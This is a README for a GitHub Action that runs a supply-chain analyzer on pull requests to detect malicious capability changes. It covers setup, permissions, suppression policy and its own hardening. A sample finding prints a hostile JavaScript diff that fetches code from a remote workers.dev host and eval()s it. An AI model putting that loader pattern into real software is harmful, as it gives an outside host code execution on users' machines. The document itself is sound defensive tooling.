Catch pull requests that introduce malicious code — before you merge them.
The version string says nothing changed; the behavior says otherwise.
isomer is a differential supply-chain
analyzer. It doesn't score your code — it judges what a change does that the
code before it didn't. A dependency bump that quietly gains a websocket to an
IP address, a "perf" commit that adds a postinstall hook, a vendored binary
that grew an ifunc resolver: those are the shapes of a supply-chain attack, and
they look identical whether a human, an AI, or a compromised maintainer account
introduced them.
This action runs isomer on every pull request. Your code never leaves the runner.
NOTE: HIGHLY EXPERIMENTAL — EARLY BUILD — MAY EAT YOUR CAT
name: supply-chain
on: pull_request
permissions:
contents: read
pull-requests: write # sticky comment (optional)
security-events: write # inline annotations (optional)
jobs:
isomer:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: atomdrift-project/isomer-action@v0.1.0That's the whole setup. No config file until you need one.
Almost always: nothing. A pull request that changes behavior in expected
ways gets a green check and a one-line job summary. isomer follows the diff
principle — silence is the normal output, so the day it speaks, people read it.
CI security tools die of alert fatigue, and a quiet tool is one that stays
switched on.
The day it matters, the check fails and the pull request gets one comment (edited in place on every push, never a second one):
gained C2
ML malware risk
0.00benign →1.00malware ▲ +1.00
capability namespace traits ●●● new C2 command-and-control/beacon/network/http6 new ●●● new exfiltration exfiltration/http/upload1 new ●● new install hook supply-chain/install-hook/postinstall11 new ●●●
src/index.js:5— Response end handler then eval1 export function add(a,b){ return a+b } + 2 const os = require('os'), https = require('https'), cp = require('child_process'); + 4 https.get('https://cdn.telemetry-cdn.workers.dev/p?i='+id, r => { + 5 let s=''; r.on('data',d=>s+=d); r.on('end',()=>{ eval(s); … });
Plus an annotation on the exact line in the Files changed tab, and a tracked alert in the Security tab. The reviewer never has to open another tool: the verdict, the reason, the capability delta, and the actual hostile bytes are all in one place.
| how | |
|---|---|
| Malicious code in the diff | capability drift — the change gains execution, network, exfiltration, or credential-access primitives it had no business gaining |
| Planted binaries | the same analysis runs on compiled artifacts; xz-utils' backdoor is caught from the ifunc resolver and loader dependency alone, with every signature ignored |
| Supply-chain compromise | a dependency's behavior is compared against its previous version, and against what its version bump promised — a patch release that gains a shell is disproportionate no matter how clean it looks |
| Publisher takeover | signer and publisher drift is its own finding |
Detection does not depend on knowing the attack. Known-bad signatures are one axis of four; the behavioral, structural, and ML-risk axes fire on novel attacks with no rule written for them.
Source tells you what a change says. The artifact tells you what it does. The xz-utils payload was in the release tarball and not in the git repository — no diff of the source could ever have seen it, because the backdoor was introduced by the build.
So isomer can compare what a pull request builds against what its base builds:
- uses: atomdrift-project/isomer-action@v0.1.0
with:
base-artifacts: .isomer/baseline # the base commit's build
head-artifacts: .isomer/head # this change's buildBoth sides join the same single analysis as the source, so there is still one
verdict, one comment, and one exit code. A version bump whose bundle quietly
gained a https.get(…) → eval is a finding even though the source diff is one
character.
Byte comparison would drown here — nothing is reproducible, every build differs in timestamps and paths. isomer compares capabilities, so build churn is invisible and injected behavior is not.
examples/build-comparison.yml is the whole
pattern, ready to copy. It judges the source in a job of its own first — a
build runs the pull request's code, so a change already known to be hostile must
fail before that happens — and only then builds. It costs two builds in the
worst case and one in the common one: the base's output is cached under the
commit that produced it, so a pull request branching from an already-built
main builds only its own side, and when both do build they build in parallel.
The job that runs your build holds no write permissions, and a base commit that no longer builds degrades to a source-only verdict with a notice rather than failing the pull request.
Add the check to your branch protection rules or ruleset (Settings → Branches → Require status checks) so a failing scan blocks the merge.
Be aware of what this does and does not guarantee. On a pull_request
event, GitHub runs the workflow file from the pull request. A contributor
with write access can therefore weaken or spoof this check in the same change
that carries the payload. Mitigations, strongest first:
- Organization rulesets with required workflows (GitHub Enterprise) run a workflow the pull request cannot edit. This is the only complete answer.
- Require the check by name in branch protection, and require review on
any change to
.github/workflows/**. - isomer treats a change to your workflow files as analyzable content like any other, so a payload hidden in CI configuration is in scope.
For untrusted contributors, GitHub's "Require approval for all external
contributors" setting is what actually stops a hostile workflow from running
at all. We would rather say this plainly than let you believe a pull_request
job is tamper-proof.
Each grant adds a surface; the scan and the exit code always work.
| grant | what you get |
|---|---|
contents: read |
the scan, the exit code, the job summary — works everywhere, including forks |
+ security-events: write |
inline annotations on changed lines, Security-tab alerts |
+ pull-requests: write |
the sticky comment |
Missing permissions degrade to a notice, never a failure. Pull requests from forks get a read-only token, so the comment and SARIF upload are skipped automatically — the full report still lands in the job summary, and the check still fails, so a required check still protects the branch.
pull_request_target would restore those permissions and is not
recommended: it runs with a writable token in the base repository's context,
and getting it wrong is a well-known way to hand an attacker your secrets. If
you need comments on fork pull requests, use the two-workflow pattern instead:
upload report-markdown as an artifact from the pull_request job, and post
it from a workflow_run job that has write permissions.
The report writes the config for you — copy the block from the comment, add a reason, push. Cost: one line, one minute.
# .isomer.toml
[[allow]]
id = "objectives/command-and-control/channel/websocket::sio"
reason = "vendored socket.io client; reviewed in #482"
expires = "2026-11-09" # optional
path = "vendor/**" # optional
exclude = ["testdata/**"] # never analyzed at allA reason is required — isomer refuses to run on a suppression nobody
explained. Suppressed findings are listed in every report, so a silenced run
never looks like a clean one, and expires lets you accept a risk temporarily
without accepting it forever.
| input | default | |
|---|---|---|
fail-on |
high |
none | low | medium | high | critical. none = report-only |
gate |
new |
new fails only on newly-introduced risk; any includes escalations of pre-existing findings |
comment |
auto |
auto speaks only on findings; always; never |
sarif |
true |
upload annotations when permitted |
explain |
false |
full trait ids and the complete diff ledger |
config |
.isomer.toml |
policy file path |
max-files |
1000 |
refuse to run rather than analyze a subset silently |
base-artifacts |
— | directory holding the base commit's build outputs |
head-artifacts |
— | directory holding this change's build outputs |
working-directory |
. |
repository to analyze |
fetch-depth |
50 |
how deep to fetch a missing base commit |
version |
pinned | isomer release to install |
download-base |
GitHub releases | point at an internal mirror for air-gapped runners |
isomer-path |
— | use a binary already on disk instead of downloading |
cache |
true |
cache the binary, model, and verdict cache |
token |
github.token |
used only for the comment and SARIF upload; never passed to isomer |
verdict (CLEAN/NOTABLE/SUSPICIOUS/HOSTILE), severity,
new-severity, fail, findings, suppressed, and paths to the three
reports: report-json, report-sarif, report-markdown.
base-sha is the commit the change was measured from — the merge base, not the
base branch tip. Build that commit to produce base-artifacts, so both halves
of the report are measured from the same place.
Policy you'd rather express yourself:
- uses: atomdrift-project/isomer-action@v0.1.0
id: isomer
with:
fail-on: none # never fail; decide for yourself
- if: steps.isomer.outputs.verdict == 'SUSPICIOUS'
run: gh pr edit "$PR" --add-label needs-security-review
env:
PR: ${{ github.event.pull_request.number }}
GH_TOKEN: ${{ github.token }}| code | meaning | check |
|---|---|---|
| 0 | clean at --fail-on |
✅ |
| 1 | findings at or above --fail-on |
❌ with the verdict |
| 2 | operational error — the change was not analyzed | ❌ explicitly labelled not a verdict |
A scanner that crashes must never be mistaken for a scanner that found nothing, so 1 and 2 are always distinguishable in the log.
Only the changed files are analyzed — a 5-file pull request in a 50,000-file monorepo costs 5 files of work. Both sides of each changed file are extracted from git into scratch trees and diffed there; nothing walks your whole repository. With a warm cache, typical pull requests finish in seconds; the first run pays for the binary and model download.
It is a composite action: action.yml plus
scripts/install.sh, about 250 lines you can read in one
sitting. There is no bundled JavaScript, no npm dependency tree, and no
telemetry. Deliberately:
- The version is pinned to the action ref.
atomdrift-project/isomer-action@v0.1.0installs exactly the isomer release recorded inISOMER_VERSION. There is no "latest". - Binaries are verified against
checksums.txt, committed in this repository. An asset with no recorded checksum is never downloaded; a download whose digest doesn't match is deleted and the run fails. - The only actions used are GitHub's own (
actions/cache,actions/github-script). SARIF is uploaded through the API directly rather than via a third-party action, which is also what lets a missing permission degrade to a notice instead of failing your job. - Your code never leaves the runner. isomer is offline by default: no registry fetches, no rule downloads, no LLM calls unless you configure one.
For maximum paranoia, pin us the way we pin everything else:
- uses: atomdrift-project/isomer-action@<commit-sha> # v0.1.0isomer has no tagged release yet, so checksums.txt is empty and the download
path will refuse to run. Until then, build the binary yourself and point the
action at it:
- uses: atomdrift-project/isomer-action@v0.1.0
with:
isomer-path: ./target/release/isomerApache-2.0. See LICENSE.